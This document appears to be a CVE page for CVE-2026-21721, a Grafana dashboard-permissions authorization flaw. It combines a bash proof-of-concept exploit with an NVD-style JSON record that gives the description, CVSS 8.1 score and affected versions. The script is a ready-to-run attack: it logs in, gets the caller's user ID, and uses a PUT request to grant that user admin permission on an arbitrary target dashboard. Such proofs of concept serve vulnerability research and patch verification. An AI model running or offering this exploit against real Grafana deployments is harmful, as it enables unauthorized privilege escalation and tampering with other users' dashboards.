CVE-2026-21721

#!/bin/bash # CVE-2026-21721 PoC - Grafana Dashboard Permission Escalation # Requirements: Valid Grafana user account with permission management rights on one dashboard GRAFANA_HOST="http://localhost:3000" USERNAME="[email protected]" PASSWORD="password123" TARGET_DASHBOARD_ID="12345" # ID of target dashboard to escalate # Step 1: Authenticate and get session cookie echo "[+] Authenticating to Grafana..." AUTH_RESPONSE=$(curl -s -c /tmp/cookies.txt -H "Content-Type: application/json" \ -d "{\"user\":\"$USERNAME\",\"password\":\"$PASSWORD\"}" \ "$GRAFANA_HOST/api/login") if echo "$AUTH_RESPONSE" | grep -q "error"; then echo "[-] Authentication failed" exit 1 fi echo "[+] Authentication successful" # Step 2: Get current user info echo "[+] Fetching current user info..." USER_INFO=$(curl -s -b /tmp/cookies.txt "$GRAFANA_HOST/api/user") CURRENT_USER_ID=$(echo "$USER_INFO" | grep -oP '"id":\s*\K\d+') echo "[+] Current user ID: $CURRENT_USER_ID" # Step 3: Exploit - Add permission for target dashboard echo "[+] Exploiting CVE-2026-21721..." EXPLOIT_PAYLOAD='{ "items": [ { "userId": '$CURRENT_USER_ID', "permission": 4 } ] }' EXPLOIT_RESPONSE=$(curl -s -b /tmp/cookies.txt \ -X PUT \ -H "Content-Type: application/json" \ -d "$EXPLOIT_PAYLOAD" \ "$GRAFANA_HOST/api/dashboards/id/$TARGET_DASHBOARD_ID/permissions") echo "[+] Exploit response: $EXPLOIT_RESPONSE" if echo "$EXPLOIT_RESPONSE" | grep -q "permissions"; then echo "[+] SUCCESS: Permission escalation completed!" echo "[+] You now have elevated permissions on dashboard ID: $TARGET_DASHBOARD_ID" else echo "[-] Exploit may have failed or dashboard not accessible" fi

{"cve": {"id": "CVE-2026-21721", "sourceIdentifier": "[email protected]", "published": "2026-01-27T09:15:48.640", "lastModified": "2026-04-20T17:28:19.960", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The dashboard permissions API does not verify the target dashboard scope and only checks the dashboards.permissions:* action. As a result, a user who has permission management rights on one dashboard can read and modify permissions on other dashboards. This is an organization‑internal privilege escalation."}, {"lang": "es", "value": "La API de permisos del panel no verifica el alcance del panel de destino y solo comprueba la acción dashboards.permissions:*. Como resultado, un usuario que tiene derechos de gestión de permisos en un panel puede leer y modificar permisos en otros paneles. Esto es una escalada de privilegios interna de la organización."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "10.2.0", "versionEndExcluding": "11.6.9", "matchCriteriaId": "6F6E2185-5D9B-4519-BFE1-363489FDE5C5"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.0.0", "versionEndExcluding": "12.0.8", "matchCriteriaId": "0800CF3F-6B22-4AC9-B7A5-88F00162D7CF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.1.0", "versionEndExcluding": "12.1.5", "matchCriteriaId": "B74E6E97-D985-4F8E-BFE9-DD40D99995D8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*", "versionStartIncluding": "12.2.0", "versionEndExcluding": "12.2.3", "matchCriteriaId": "FCC333B0-9BDE-4A2D-9648-C8017242DDC7"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:11.6.9:-:*:*:*:*:*:*", "matchCriteriaId": "75C49C18-902A-447E-97F3-2679BD19B517"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.0.8:-:*:*:*:*:*:*", "matchCriteriaId": "63A1D7CB-4839-4706-AB16-0D1609B62C1E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.1.5:-:*:*:*:*:*:*", "matchCriteriaId": "FCEFE43C-35EA-4163-A184-6FE2FF14B2BA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.2.3:-:*:*:*:*:*:*", "matchCriteriaId": "D5613D06-3180-477D-9272-CAF86A6D764D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.3.0:*:*:*:*:*:*:*", "matchCriteriaId": "D0226F9E-7B57-4F41-BC7D-234F17628970"}, {"vulnerable": true, "criteria": "cpe:2.3:a:grafana:grafana:12.3.1:-:*:*:*:*:*:*", "matchCriteriaId": "B7B29640-D0AE-4B99-95F8-B1D84E3A17AA"}]}]}], "references": [{"url": "https://grafana.com/security/security-advisories/cve-2026-21721", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}